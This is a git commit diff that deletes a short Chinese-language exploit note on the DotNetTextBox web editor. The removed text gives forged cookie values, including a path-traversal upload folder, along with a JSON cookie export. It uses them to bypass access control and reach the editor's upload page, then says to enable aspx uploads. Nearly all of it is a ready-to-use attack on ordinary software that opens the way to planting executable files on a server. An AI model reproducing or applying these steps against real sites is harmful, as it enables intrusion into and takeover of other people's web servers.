delete DotNetTextBox

This commit is contained in:
tennc 2013-06-06 08:24:42 +08:00
parent d267416af6
commit 5caf324002

View file

@ -1,64 +0,0 @@
DotNetTextBox编辑器漏洞
修改cookie为
cookie:UserType=0; IsEdition=0; Info=1; uploadFolder=../system_dntb/;
之后浏览 xxx.com/system_dntb/uploadFile.aspx/uploadFile.aspx
即可上传
如不行 则在system_dntb/Advanced.aspx添加 aspx or别的类型
[{
"domain": ".xxx.org",
"expirationDate": 1401960780,
"hostOnly": false,
"httpOnly": false,
"name": "UserType",
"path": "/",
"secure": false,
"session": false,
"storeId": "1",
"value": "0"
},
{
"domain": ".xxx.org",
"expirationDate": 1401960780,
"hostOnly": false,
"httpOnly": false,
"name": "IsEdition",
"path": "/",
"secure": false,
"session": false,
"storeId": "1",
"value": "0"
},
{
"domain": ".xxx.org",
"expirationDate": 1401960780,
"hostOnly": false,
"httpOnly": false,
"name": "Info",
"path": "/",
"secure": false,
"session": false,
"storeId": "1",
"value": "1"
},
{
"domain": ".xxx.org",
"expirationDate": 1401960780,
"hostOnly": false,
"httpOnly": false,
"name": "uploadFolder",
"path": "/",
"secure": false,
"session": false,
"storeId": "1",
"value": "../system_dntb/"
}]